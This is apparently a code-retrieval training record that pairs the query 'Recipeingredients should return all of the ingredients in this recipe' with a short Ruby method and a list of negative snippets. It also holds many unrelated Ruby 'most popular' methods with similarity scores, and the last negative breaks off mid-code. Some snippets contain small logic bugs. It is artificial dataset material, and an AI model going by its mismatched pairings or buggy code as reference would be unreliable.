[ "def most_popular\n @books.sort_by {|book| book.rate}\n end", "def get_most_popular_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_popular_users], num_users)\n end", "def top_three_recipes\n recipe_cards.max_by(3) {|recipe_cards| recipe_cards.rating}\n end", "def fetch_popular\n self.with_purchase_rate\n .viewed_by_people\n .reverse_order(:purchase_rate, :purchases_count)\n end", "def mostPopularBook\n\t\t@requests = requests.order('count desc')\n\t\tif @requests.count > 0\n\t\t\t@book = @requests.at(0).book\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "def top_three_recipes\n self.find_user_recipe_cards.sort_by{|rcard| rcard.rating}.reverse![0..2]\n end", "def top_three_recipes\n top_three = RecipeCard.all.select {|atr| atr.user == self}\n top_three.sort_by {|atr| atr.rating}.reverse\n top_three[0..2]\n end", "def show_most_popular\n @card_sets = CardSet.order(\"impressions_count DESC\")[0..19]\n end", "def most_reviews\n @top_five = Taxi.most_review_answers(current_user, params)\n end", "def top_three_recipes\n self.recipes.sort_by {|info| info.rating}.pop(3)\n end", "def analyze_most_popular_users(user)\n\n # calculate score\n most_popular = 1\n most_popular *= (val = user.num_radlib_views_received) > 0 ? val : 1\n most_popular *= (val = user.num_likes_received) > 0 ? val : 1\n most_popular *= (val = user.num_radlibs_filled_by_others) > 0 ? val : 1\n\n # scale it down to avoid too big a number, using 10000.1 (with decimal ensures that we extend the value's significant digits)\n most_popular /= 100.1\n\n # analyze result\n analyze_most_generic(user.uid, most_popular.to_f, DOCS[:most_popular_users])\n self\n end", "def find_most_popular(dimension = nil)\n all.sort_by { |o| o.rate_average(true, dimension) }.last\n end", "def most_popular_show\n Show.highest_rating\nend", "def most_recent_recipe\n self.user_recipe_cards.sort_by do |card|\n card.date\n end.last\n end", "def Popular\n votes = Vote.where(:positive => true)\n publish = votes.joins(Post)\n users = publish.where(:users => self.id).group_by(:posts).order('COUNT(posts.id) DESC').limit(1)\n users[0].posts\n end", "def top_three_recipes\n\t\trecipes.select { |recipe| recipe.rating }.sort_by { |recipe| recipe.rating }.last(3)\n\tend", "def most_popular_screening_film\n most_popular = nil\n unsold_tickets = 2 #max capacity of the cinema\n screenings = return_film_screenings\n screenings.each do |screening|\n if screening.tickets_left.to_i < unsold_tickets\n most_popular = screening\n end\n end\n return most_popular\n end", "def top_three_recipes\n recipes_sorted_by_rating.reverse[0..2]\n end", "def most_recent_recipe\n self.find_user_recipe_cards.sort_by{|rcard| rcard.date}[-1]\n end", "def users_with_most_liked_comments\n User\n .preload(:likes)\n .joins(:likes)\n .group('users.id')\n .order(Arel.sql('count(likes.id) desc'))\n .limit(10)\n end", "def most_recent_recipe\n recent_recipe_array = get_user_recipes.collect do |recipe_card|\n recipe_card.recipe\n end\n recent_recipe_array[-1]\n end", "def popular(model)\n Popularity.new(model, @redis)\n end", "def most_recent_recipe\n self.recipe_cards.max_by {|recipecard| recipecard.date}\nend", "def top_three_recipes\n my_recipes = self.recipe_cards\n my_recipes.sort{|a, b| b.rating <=> a.rating }.slice(0,3)\n end", "def most_popular_profession\n sql = <<-SQL\n SELECT guest_occupation,\n COUNT(id) as occupation_count\n FROM guest_appearances\n GROUP BY guest_occupation\n ORDER BY occupation_count DESC\n LIMIT 1;\n SQL\n mp = DB[:conn].execute(sql)[0]\n puts \"#{mp[0]}: #{mp[1]} appearances.\"\nend", "def most_recent_recipe\n most_recent_recipe = RecipeCard.all.select {|atr| atr.user.name == self.name}\n most_recent_recipe.sort_by {|atr| atr.date}.reverse[0]\n end", "def most_popular_profession\n \"SELECT googleknowledge_occupation, COUNT(googleknowledge_occupation) FROM daily_show_guests GROUP BY googleknowledge_occupation ORDER BY COUNT(googleknowledge_occupation) DESC LIMIT 1;\"\nend", "def most_recent_recipe\n recipe_cards.sort_by { |card| card.date}.reverse.first.recipe\n end", "def most_popular_venue\n venues = @games.group_by { |game| game.venue}\n venues.max_by { |venue, games| games.count }.first\n end", "def most_recent_recipe\n self.find_recipe_card_by_user.sort_by {|v| v.date}.last.recipe.name\n end", "def highest_comment_count\n User.preload(:comments).joins(:comments).group('users.id').order(Arel.sql('count(comments.id) desc')).limit(10)\n end", "def top_three_recipes\n top_three_cards = recipe_cards.sort_by { |card| card.rating}.reverse.slice(0, 3)\n top_three_cards.map { |c| c.recipe }\n end", "def count_people_ordered_most_popular_books(count_of_popular_books)\n most_popular_books = most_popular\n people = Array.new\n most_popular_books[0..count_of_popular_books].each do |book|\n @readers.each do |name, value|\n value.orders.detect do |order|\n# p \"order.book=\"+order.book.to_s\n# p \"book=\"+book.title.to_s\n p \"Book.class= \"+order.book.class.to_s\n people << value if book == order.book\n end\n end \n end\n return people.size #maybe a good idea return all people?\n end", "def guest_with_most_appearances\n \"SELECT\n name,\n count(*) AS total\n FROM guests\n GROUP BY name\n ORDER BY total\n DESC\n LIMIT 1;\"\nend", "def best_user\n @group_users.max_by(&:rate)\n end", "def most_recent_recipe\n self.recipecards.max_by{|recipecard| recipecard.date}.recipe\n end", "def highest_bill\n \t@user = Review.order(totalbill: :desc).first(5)\n end", "def top_three_recipes\n sorted_recipe_cards = self.recipe_cards.sort do |recipe_card|\n recipe_card.rating end\n if sorted_recipe_cards.length < 3\n sorted_recipe_cards\n else\n sorted_recipe_cards[-3,3]\n end\n end", "def get_most_radlibs_created(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "def top_three_recipes \n a = recipes.sort_by do |i| \n i.rating \n end \n a[-3..-1]\n end", "def popular *args\n require 'popular/popular'\n include ::Popular::Popular\n \n class_eval do\n def self.popular?\n true\n end\n end\n end", "def get_most_popular_radlibs(num_radlibs = 5)\n get_most_generic_for_radlibs(DOCS[:most_popular_radlibs], num_radlibs)\n end", "def find_popular_with_limit(limit, *date)\n populars = find_popular(*date)\n populars.max_by(limit) do |_, item|\n item\n end\n end", "def popular\n @photos = Rails.cache.fetch(\"most_popular\", expires_in: 1.minute) { photo_service.most_popular }\n @liked_ids = user_logged_in? ? Like.where(user_id: session[:uid]).pluck(:photo_id) : []\n end", "def most_popular_tags(options = {})\n if all_tags = Tag.by_pseud(self).by_type(options[:categories]).canonical\n tags_with_count = {}\n all_tags.uniq.each do |tag|\n tags_with_count[tag] = all_tags.find_all{|t| t == tag}.size\n end\n all_tags = tags_with_count.to_a.sort {|x,y| y.last <=> x.last }\n options[:limit].blank? ? all_tags : all_tags[0..(options[:limit]-1)]\n end\n end", "def most_recent_recipe\n recipe_cards.last\n end", "def highest_review \n\t\tself.reviews.sort_by{|review| review.rating }.reverse.first\n\tend", "def highest_review \n\t\tself.reviews.sort_by{ |review| review.rating }.reverse.first\n\tend", "def get_most_radlib_fillins_by_user(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "def base_is_most_popular?\n most_popular.nil? ? nil : most_popular[0] == base_answer.food_groups\n end", "def popular\n render json: {\n success: true,\n issues: Issue.popular.limit(5)\n }\n end", "def most_explored_tags(topic, tag_groups = [], limit = 5)\n # Take 5 mostly visited places\n most_visited = self.checkins.by_topic(topic.id).most.all(:limit => 5)\n most_visited_tags = sort_tags(tag_groups, most_visited.collect(&:restaurant)) \n\n # Take 5 mostly reviewed and loved places\n most_loved = self.reviews.by_topic(topic.id).most.all(:limit => 5) \n most_loved_tags = sort_tags(tag_groups, most_loved.collect(&:restaurant))\n \n # Take 5 recently explored places\n recent_explored = self.restaurants.by_topic(topic.id).recent.all(:limit => 5) \n recent_explored_tags = sort_tags(tag_groups, recent_explored)\n \n # Merge all tags (5 + 5 + 5) = 15 (At most)\n # Remove duplicates and pick 5 based on their frequencies\n (most_visited_tags + most_loved_tags + recent_explored_tags).sort_by{|a| a.last}.reverse.collect{|a| a.first}.uniq[0..4]\n end", "def analyze_most_popular_radlibs(radlib)\n # calculate score\n most_popular = 1\n most_popular *= (val = radlib.num_likes) > 0 ? val : 1\n most_popular *= (val = radlib.num_fillins) > 0 ? val : 1\n most_popular *= (val = radlib.num_views) > 0 ? val : 1\n\n # scale it down to avoid too big a number, using 10000.1 (with decimal ensures that we extend the value's significant digits)\n most_popular /= 100.1\n\n analyze_most_generic(radlib.radlib_id, most_popular.to_f, DOCS[:most_popular_radlibs])\n self\n end", "def get_top_order\n cards.maximum('card_order') || 0\n end", "def most_recent_recipe\n my_recipes = self.recipe_cards\n my_recipes.sort_by do |rec_card|\n [\n rec_card.date.split(\"/\")[0].to_i,\n rec_card.date.split(\"/\")[1].to_i\n ]\n end[-1]\n end", "def guest_with_most_appearances\n sql = <<-SQL\n SELECT guest_name FROM (\n SELECT guest_name, count(guest_name)\n FROM guests\n GROUP BY guest_name\n ORDER BY count(guest_name) DESC LIMIT 1\n );\n SQL\n DB[:conn].execute(sql)[0][0]\nend", "def get_most_viewers\n uri = [@@base_uri, 'all', 'getMostViewers'].join('/')\n return get(uri)\n end", "def most_games\n options = {\n :select => 'count(*) as field',\n :order => 'field DESC'\n }\n\n render_users params[:name], options\n end", "def guest_with_most_appearances\n sql = <<-SQL\n SELECT guest_name,\n \tCOUNT(id) as appearance_count\n FROM guest_appearances\n GROUP BY guest_name\n ORDER BY appearance_count DESC\n LIMIT 1;\n SQL\n fg = DB[:conn].execute(sql)[0]\n puts \"#{fg[0]}: #{fg[1]} appearances.\"\nend", "def guest_with_most_appearances(db)\n db.execute(\n \"SELECT guest_name, COUNT(appearance_date) \n FROM guests \n GROUP BY guest_name \n ORDER BY COUNT(appearance_date) DESC \n LIMIT 1\")\nend", "def tag_with_highest_count\n Tag.order(count: :desc).first\n end", "def most_active\n @users_comments = User.joins(:comment).\n select('user.user_id, user.user_name, user.first_name, user.last_name, count(user.user_id) as count').\n group('user.user_id').\n order('count DESC').take(10)\n\n @users_ratings = User.joins(:rating).\n select('user.user_id, user.user_name, user.first_name, user.last_name, count(user.user_id) as count').\n group('user.user_id').\n order('count DESC').take(10)\n end", "def most_test_cases\n @most = User.most_test_cases\n end", "def popular_profession\n sql = <<-SQL\n SELECT google_knowledge_occupation, count(google_knowledge_occupation)\n FROM guests\n GROUP BY google_knowledge_occupation\n ORDER BY count(google_knowledge_occupation) DESC LIMIT 1;\n SQL\n DB[:conn].execute(sql)[0][0]\nend", "def related(limit = 5)\n self.find_related_tags.popular(limit)\n end", "def showMostSearched\n @user = User.order('counter DESC').limit(params[:limit])\n render json: @user\n end", "def top_books\n if orders.empty?\n puts \"There are not orders...\"\n else\n @orders.group_by(&:book).values.max_by(&:size).first.book\n end\n end", "def most_popular_track\n tracks.select {|track| track.id == info(:most_popular_track)['id'] }.first\n end", "def sort_by_decending_rating\n self.find_recipe_card_by_user.sort_by {|recipe| recipe.rating}.reverse\n end", "def most_expensive_painting \n paintings.max_by {|p| p.price}\n end", "def set_popular\n @popular = Popular.find(params[:id])\n end", "def most_recent_recipe\n recipes.sort_by do |i| \n i.date\n end.last\n end", "def find_post_highest_likes\n highest= self.posts.max do |like|\n like.likes\n end\n highest.title\nend", "def get_most_comments_made(num_users = 5)\n get_most_generic_for_users(DOCS[:most_comments_made], num_users)\n end", "def get_most_radlib_fillins_by_others(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "def past_popular\n if @page == 1 && @user.last_sign_out_at.present? && @user.last_sign_out_at <= 2.days.ago && @user.current_sign_in_at >= 1.minutes.ago\n popular_in(@user.last_sign_out_at, @user.last_sign_in_at).limit(6).includes(:hash_tags, :user, :owner).to_a\n else\n []\n end\n end", "def how_orders_of_three_most_popular_books\n books_count.each {|title, times| puts \"The most popular books, '#{title}', ordered #{times}\" if times == books_count.values.max }\n end", "def sort_by_most_recently_popular(experiences)\n\t\tsorted = experiences.sort_by do |experience|\n\t\t\t(ONE_VOTE * experience.rating) + experience.created_at.to_i\n\t\tend.reverse\n\tend", "def most_liked_comments\n Comment\n .preload(:likes)\n .joins(:likes)\n .group('comments.id')\n .order(Arel.sql('count(likes.id) desc'))\n .limit(10)\n end", "def most_recent_recipe\n recipes.last\n # should return the recipe most recently added to the user's cookbook.\n end", "def recent_reviews\n # 5 most recent reviews of this restaurant\n\n self.reviews.order(:date).limit(5)\n end", "def get_most_active_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_active_users], num_users)\n end", "def highest_rated\n joins(:ratings).group('rateable_id').order('avg(ratings.value) desc').first\n end", "def get_most_prolific_users(num_users = 5)\n get_most_generic_for_users(DOCS[:most_prolific], num_users)\n end", "def most_popular_tags(options = {})\n all_tags = []\n if options[:categories].blank?\n all_tags = self.tags + self.bookmark_tags\n else\n type_tags = []\n options[:categories].each do |type_name|\n type_tags << type_name.constantize.all\n end\n all_tags = [self.tags + self.bookmark_tags].flatten & type_tags.flatten\n end\n tags_with_count = {}\n all_tags.uniq.each do |tag|\n tags_with_count[tag] = all_tags.find_all{|t| t == tag}.size\n end\n all_tags = tags_with_count.to_a.sort {|x,y| y.last <=> x.last }\n popular_tags = options[:limit].blank? ? all_tags.collect {|pair| pair.first} : all_tags.collect {|pair| pair.first}[0..(options[:limit]-1)]\n end", "def most_commented\n @movies = Movie.joins(:comment).\n select('movie.movie_id, movie.title, count(movie.movie_id) as count').\n group('movie.movie_id').\n order('count DESC').take(10)\n end", "def top_drink_descriptors(how_many)\n # create empty array to hold top descriptors list for beer being rated\n @this_beer_descriptors = Array.new\n # find all descriptors for this drink\n @this_beer_all_descriptors = self.descriptors\n # Rails.logger.debug(\"this beer's descriptors: #{@this_beer_all_descriptors.inspect}\")\n @this_beer_all_descriptors.each do |descriptor|\n @descriptor = descriptor[\"name\"]\n @this_beer_descriptors << @descriptor\n end\n \n # attach count to each descriptor type to find the drink's most common descriptors\n @this_beer_descriptor_count = @this_beer_descriptors.each_with_object(Hash.new(0)) { |word,counts| counts[word] += 1 }\n # put descriptors in descending order of importance\n @this_beer_descriptor_count = Hash[@this_beer_descriptor_count.sort_by{ |_, v| -v }]\n # grab top 5 of most common descriptors for this drink\n @this_beer_descriptor_count.first(how_many)\n end", "def popular\n act = self.listings.map {|l| l.activity_id}\n activities = act.map {|a| Activity.find(a)}\n counts = Hash.new 0\n act.each do |id|\n counts[id] += 1\n end\n popular = 0\n appearances = 0\n counts.each do |id, value|\n if value > appearances \n appearances = value\n popular = id\n end\n end\n Activity.find(popular)\n end", "def popular\n\n\t\t# GET ALL THE RECENT POSTS\n\t\t@posts_popular = Post.find(:all, :limit => 5, :order => \"views DESC\")\n\n respond_to do |format|\n format.html { render :layout => false } # popular.html.erb\n format.xml { render :xml => @posts_popular }\n end\n end", "def most_recent_recipe\n self.recipe_cards.sort do |recipe_card|\n recipe_card.date\n end.first\n end", "def topMostCard\n object.cards.mostRecentlyUpdated.one[0]\n end", "def getMostAwesomePerson\n return @persons.max\n end", "def most_expensive_painting\n paintings.max_by do |i|\n i.price\n end\n end", "def least_favorite_recipe\n recipes_sorted_by_rating[0]\n end", "def most_popular_group_per_year\n sql = <<-SQL\n WITH mp AS (\n SELECT show_year,\n guest_group,\n COUNT(id) as group_count\n FROM guest_appearances\n GROUP BY guest_group, show_year)\n SELECT show_year, guest_group, MAX(group_count) as frequency\n FROM mp\n GROUP BY show_year;\n SQL\n DB[:conn].execute(sql).each {|record| puts \"#{record[0]}: #{record[1]}, #{record[2]}.\"}\nend", "def get_most_popular_deal_type\n all_active_past_deals = Deal.active_and_expired.where(:redeemable => true)\n unique_deal_type = all_active_past_deals.uniq.pluck(:type_of_deal)\n all_active_past_deals = all_active_past_deals.order(title: :asc)\n count = 0\n most_popular_deal_type = \"\"\n unique_deal_type.each do |udt|\n deal_type = all_active_past_deals.where(:type_of_deal => udt).pluck(:id)\n total_redemption_count = DealAnalytic.where(deal_id: deal_type).sum(:redemption_count)\n total_deals = deal_type.count\n total_average_count = (total_redemption_count.to_f/total_deals).round(2)\n if (total_average_count > count)\n count = total_average_count\n most_popular_deal_type = udt\n end\n end\n most_popular_deal = [most_popular_deal_type, count]\n end", "def top_bid\n bids(:bid_amount).max\n end", "def popular_book\n books = Hash.new(0)\n @orders.each { |order| books[order.book_name] += 1 } \n book = books.max_by{ |key, value| value }.first\n end", "def return_cards_from_top(count)\n if cards and count > 0\n cards.where(\"card_order > ?\", (get_top_order-count) )\n end\n end", "def top_10_fans\n users_array = UserTeam.all.collect{|user| user.user_id}\n most_common_value = users_array.uniq.sort_by{ |i| users_array.count( i ) }.reverse\n biggest_fans = most_common_value.map {|user| User.find(user).name}[0..9]\n users_teams_count = most_common_value.map {|user| User.find(user).teams.count}[0..9]\n counter = 0\n return_hash = {}\n until counter == biggest_fans.length do\n return_hash[biggest_fans[counter].to_s] = users_teams_count[counter].to_s\n counter += 1\n end\n return_hash\nend" ]
[ "0.7250678", "0.7133249", "0.71095616", "0.70011556", "0.6951119", "0.69291145", "0.6864851", "0.68501496", "0.668146", "0.6642349", "0.66181916", "0.65168816", "0.6508674", "0.64781153", "0.6431703", "0.642971", "0.63897693", "0.635224", "0.6345496", "0.63325816", "0.63321465", "0.6318907", "0.6294708", "0.62806886", "0.62611574", "0.62594086", "0.6251122", "0.6250626", "0.6249382", "0.6219552", "0.6211568", "0.62024033", "0.61898", "0.61854696", "0.61824876", "0.6138144", "0.61304075", "0.6117619", "0.61098754", "0.6074074", "0.6059164", "0.60548866", "0.6038843", "0.60342175", "0.60340726", "0.6028211", "0.60084856", "0.6005386", "0.5999289", "0.5990814", "0.5979194", "0.59646934", "0.5954366", "0.5949459", "0.594941", "0.59276414", "0.59224355", "0.59140277", "0.5911778", "0.5894152", "0.5879314", "0.58753085", "0.58662015", "0.58658457", "0.58591646", "0.5853115", "0.58498347", "0.5795316", "0.57926965", "0.5787125", "0.57816875", "0.57769847", "0.5775121", "0.5771691", "0.57617265", "0.5761125", "0.57571346", "0.5751031", "0.5750116", "0.5737213", "0.57279927", "0.5725735", "0.5717351", "0.5712057", "0.57058585", "0.57011425", "0.5700142", "0.5700066", "0.5691943", "0.5689774", "0.5689454", "0.56889194", "0.56850594", "0.5662528", "0.5662528", "0.5658356", "0.5651908", "0.56470776", "0.5633287", "0.56210446" ]
0.861034
0
Recipeingredients should return all of the ingredients in this recipe
def ingredients recipeingredient.map {|ri| ri.ingredient} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ingredients\n recipe_ingredients.map do |r|\n r.ingredient\n end\n end", "def ingredients\n my_recipe_ingredients = RecipeIngredient.all.select do |recipeingredient|\n recipeingredient.recipe == self\n end\n my_recipe_ingredients.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end.uniq\n end", "def ingredients\n recipes = RecipeIngredient.all.select { |recipeing| recipeing.recipe == self}\n recipes.collect {|recipeing| recipeing.ingredient}\n end", "def ingredients\n # self.recipe_ingredients\n recipe_ingredients.map do |r_i|\n r_i.ingredient\n end\n end", "def ingredients\n RecipeIngredient.all.select { |ri| ri.recipe == self }.map { |ri| ri.ingredient }\n end", "def ingredients\n RecipeIngredients.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end", "def recipe_ingredients\n RecipeIngredient.all.select{|ingredient| ingredient.recipe == self}\n end", "def ingredients\n RecipeIngrediant.all.select do |recing|\n recing.recipe == self\n end\n #map to ing\n\n end", "def ingredients\n RecipeIngredient.all.select do |recipe_ingre|\n recipe_ingre.recipe == self\n end.map {|recipe_ingre| recipe_ingre.ingredient}\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end\n end", "def ingredient_recipes\n self.doses.map { |d| d.recipe }.uniq\n end", "def recipe_ingredients\n RecipeIngredient.all.select { |ri| ri.ingredient.name == @ing }\n end", "def ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end", "def recipe_instances\n recipe_ingredients.map { |ri| ri.recipe }\n end", "def ingredients\n desserts.map do |dessert|\n dessert.ingredients\n end.flatten\n end", "def ingredients\n self.dessert_ingredients.map {|di| di.ingredient}\n end", "def ingredients\n RecipeIngredient.all.map do |reci_ingred|\n reci_ingred.ingredient_O if reci_ingred.recipe_O == self\n end.compact\n end", "def ingredients\n recipe_ingredients.map {|recipe_ingredient| recipe_ingredient.ing}\n end", "def find_ingredients(recipe_object)\n ingredients = []\n ing_array = recipe_to_string(recipe_object).split(\" \")\n ing_array.each do |ing|\n ingredients << Ingredient.find_by(name: ing.capitalize!)\n end\n return (ingredients - [nil])\n end", "def recipes\n return self.selected_recipes.map do |selected_recipe|\n selected_recipe.recipe\n end\n # recipes = []\n # self.selected_recipes.each do |selected_recipe|\n # recipes << selected_recipe.recipe\n # end\n # return recipes\n end", "def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end", "def with_ingredients(ingredients = nil)\n unless ingredients.nil?\n self.recipe_data.ingredients = ingredients\n self\n end\n end", "def allergens\n # first get an array of all possible allergic ingredients\n allergic_ingredients = Allergen.all.map do |allergen|\n allergen.ingredient\n end.uniq\n\n # iterate through this recipes ingredients and see if they're\n # in the list of allergic ingredients\n self.ingredients.select do |ingredient|\n allergic_ingredients.include? ingredient\n end\n end", "def getRecipeByIngredientsList\n begin\n ingredientsList = params[:ingredients].split(\",\")\n\n @recipe = []\n ingredientsList.each do |ingredient|\n @recipe.push(Recipe.where('ingredients ILIKE ?', '%'+ingredient+'%').all)\n end\n \n if !@recipe.empty?\n render json: { status: 'SUCCESS', message: 'Loaded recipe!', data: @recipe }, status: :ok\n else\n render json: { status: 'SUCCESS', message: 'No recipe found', data: {} }, status: :not_found\n end\n rescue\n render json: { status: 'ERROR', message: 'Error loading recipe', data: {} }, status: :not_found\n end\n end", "def ingredients\n a = Array.new\n self.steps.each do |step|\n step.ingredients.each do |ing|\n a << ing\n end\n end\n a\n end", "def ingredients\n Ingredient.all.select do |ingredient_instance|\n ingredient_instance.makes == self\n end\n end", "def add_ingredients(ingredients)\n ingredients.map do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end \n end", "def recipe_ingredients(recipe_id)\n recipe_status_helper(recipe_id)\n @recipe_ingredient_arr = recipe_ingredient.split(\", \")\n puts \" \"\n p user.recipes.where(id: recipe_id)[0].ingredient\n prompt.select(\"Options\") do |menu|\n puts \" \"\n menu.choice \"Choose New Protein\", -> {choose_protein}\n menu.choice \"Update Recipe Rating\", -> {update_recipe_rating(recipe_id)}\n menu.choice \"Add Ingredient\", -> {ingredient_add_helper(recipe_id)}\n menu.choice \"Remove Ingredient\", -> {ingredient_remove_helper(recipe_id)}\n menu.choice \"Exit\", -> {exit_helper}\n end\n end", "def get_recipes(recipe_name, recipe_tag, recipe_ingredients)\n\t\t\t\trecipes_ids = Set.new\n\t\t\t\tingredients_upcase = Set.new\n\t\t\t\t#search by\n\t\t\t\tcase\n\t\t\t\twhen !recipe_name.blank?\n\t\t\t\t\trecipes_ids = Recipe.where('UPPER(name) LIKE UPPER(?)', \"%#{recipe_name}%\").pluck(:id)\n\t\t\t\twhen !recipe_tag.blank?\n\t\t\t\t\trecipes_ids = RecipeTag.where('UPPER(tag) LIKE UPPER(?)', \"%#{recipe_tag}%\").pluck(:recipe_id)\n\t\t\t\twhen !recipe_ingredients.blank?\n\n\t\t\t\t\tingredients = recipe_ingredients.to_s.delete \"[\"\n\t\t\t\t\tingredients = ingredients.delete \"]\"\n\t\t\t\t\tingredients = ingredients.delete \" \"\n\n\t\t\t\t\tingredients_array = ingredients.split(\",\") \n\n\t\t\t\t\tingredients_array.each do |ingredient|\n\t\t\t\t\t\tingredients_upcase << ingredient.upcase\n\t\t\t\t\tend\n\n\t\t\t\t\trecipes_ids = RecipeIngredient.where('UPPER(ingredient) IN (?)', ingredients_upcase).pluck(:recipe_id)\n\t\t\t\telse\n\t\t\t\t\trecipes_ids = Recipe.all.pluck(:id)\n\t\t\t\tend\n\t\t\t\t#get recipes matching the ID\n\t\t\t\tif !recipes_ids.blank?\n\t\t\t\t\trecipes = Recipe.where(\"id IN (?)\", recipes_ids).order('created_at DESC')\n\t\t\t\t\t#get tags and ingredients for each recipe\n\t\t\t\t\trecipes.each do |recipe|\n\t\t\t\t\t\trecipe.tags = RecipeTag.where('recipe_id = ?', recipe.id).pluck(:tag)\n\t\t\t\t\t\trecipe.ingredients = RecipeIngredient.where('recipe_id = ?', recipe.id).pluck(:ingredient)\n\t\t\t\t\tend\n\n\t\t\t\t\treturn recipes\n\t\t\t\tend\n\t\t\tend", "def get_ingredients_names\n self.ingredients.map{|ingredient| ingredient.name}\n end", "def add_ingredients(ingredients)\n ingredients.each do |ingredient|\n if self.ingredients.count(ingredient) == 0\n RecipeIngredient.new(self, ingredient)\n end\n end\n end", "def all\n # returns all recipes\n @recipes\n end", "def ingredient_names\n self.ingredients.map do |ing|\n ing.name\n end\n end", "def add_ingredients(ingredients)\n ingredients.each { |i| RecipeIngredient.new(self, i) }\n end", "def allergens\n ingredients.select { |i| Allergen.ingredients.include?(i) }\n end", "def recipes\n @recipes ||= []\n end", "def add_ingredients(ingre)\n ingre.each {|ingre| RecipeIngredient.new(self, ingre)}\n end", "def print_needed_ingredients\n puts \"\\n\\n\\s\\e[4m#{self.name} Recipe\\e[0m\"\n self.ingredients.each { |ingredient| puts \"\\s- #{ingredient.name}: #{RecipeIngredient.find_by(recipe_id: self.id, ingredient_id: ingredient.id).amount} cl\" }\n if self.recipe_specials.collect{|x| x.special if x.special}.uniq != [nil]\n self.recipe_specials.collect{|x| x.special if x.special}.uniq.each{|y| puts \"\\s- Special: #{y}\"}\n elsif self.recipe_specials.collect{|x| x.garnish if x.garnish}.uniq != [nil]\n puts \"\\s- Garnish: #{self.recipe_specials.collect{|x| x.garnish if x.garnish}.uniq[0]}\"\n end\n puts \"\\s- Preparation: #{self.preparation}\"\n end", "def ingredients_helper\n RecipeIngredient.all.select {|instance| instance.recipe == self}\n end", "def add_ingredients(ingredients)\n ingredients.each do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end\n end", "def all\n return @recipes\n end", "def safe_recipes\n #want all of the recipes that do not contain ingredients in allergens (array of ingredients)\n #look through all of our recipes\n my_ingredients = self.recipes.map do |recipe|\n #for each recipe, get the ingredients\n recipe.ingredients #array, map makes it an array within an array\n end.flatten.uniq\n #see if any of those ingredients are not our allergens\n my_safe_ingredients = my_ingredients.select do |ingredient|\n !(self.allergens.include?(ingredient))\n end\n #select all recipe ingredients that have our safe ingredients\n my_safe_ris = RecipeIngredient.all.select do |ri|\n my_safe_ingredients.include?(ri.ingredient)\n end\n #return the recipe\n my_safe_ris.map do |ri|\n ri.recipe\n end\n\n end", "def allergens_ingredients\r\n Allergen.all.select {|allergen| allergen.ingredient == self}\r\n end", "def all\n @recipes\n end", "def all\n @recipes\n end", "def all\n @recipes\n end", "def allergens\n allergy_for_this_recipe = Allergy.all.select do |allergy|\n ingredients.include?(allergy.ingredient)\n end\n allergy_for_this_recipe.map do |allergy|\n allergy.ingredient\n end.uniq\n end", "def items_for_recipe(recipe)\n\t\t# Everything will be stored in terms of ounces\n\t\tids = []\n\t\t# Loop through the structured ingredients\n\t\trecipe.each do |r|\n\t\t\t# Pull all items from database with matching length\n\t\t\titems = Item.allForName(r[\"name\"])\n\t\t\t# Mostly for proof of concept, if there is only one item matching, add it to the list.\n\t\t\tif items.length == 1\n\t\t\t\tids << items.first.id\n\t\t\telse\n\t\t\t\t# Loop through resulting items from database.\n\t\t\t\titems.each do |item|\n\t\t\t\t\t# Compare quantities, if the recipe calls for a quantity of less than the item,\n\t\t\t\t\t# add it to the database and exit the loop. \n\t\t\t\t\tif r[\"qty\"] <= item.qty\n\t\t\t\t\t\tids << item.id\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# Return the list of matching IDs\n\t\treturn ids\n\tend", "def index\n @recipeingredients = Recipeingredient.all\n end", "def add_ingredients(ingredient_arr)\n ingredient_arr.each do |ingredient|\n @ingredients << ingredient\n end\n @ingredients\n end", "def allergens\n ingredients_array=[]\n ingredients.each do |ingredient|\n # binding.pry\n if ingredient.allergens\n # binding.pry\n ingredients_array << ingredient.allergens\n end\n end\n arr= ingredients_array.flatten.map do |allergen|\n allergen.ingredient\n end\n arr.uniq\n end", "def index\n @ingredient_recipes = IngredientRecipe.all\n end", "def recipes\n recipe_cards.map { |c| c.recipe }\n end", "def recipes\n # Loop through RecipeCard\n #Find cards for this user\n #Gather recipes on those cards\n self.recipe_cards.map do |recipecard|\n recipecard.recipe\n end\n end", "def available_recipes\n self.user.recipes.select do |recipe|\n recipe.ingredients.all?{|ing| ing.quantity <= self.ingredients.find_by(name: ing.name).quantity}\n end\n end", "def ingredients(url)\n recipe_html_string = open(url).read\n\n recipe = Hangry.parse(recipe_html_string)\n ingredients = recipe.ingredients.map{\n |ingredient|\n Ingreedy.parse(ingredient)\n }\n end", "def add_ingredients(ingredients_array)\n\t\tRecipeIngredient.new(ingredients_array, self)\n\tend", "def index\n @recipe_ingredients = RecipeIngredient.all\n end", "def recipes\n self.recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def custom_regimen_ingredients\n arv_extras_concepts = Concept.joins(:concept_names).where(\n concept_name: { name: ['INH', 'CPT', 'Pyridoxine', 'Rifapentine', 'INH / RFP'] }\n )\n Drug.where(concept: arv_extras_concepts) + Drug.arv_drugs.order(name: :desc)\n end", "def model_ingredients(args)\n options = set_model_ingredients_defaults(args)\n set_common_options(options)\n set_model_ingredients_order_by_clause(options)\n \n if options[:b_return_list]\n 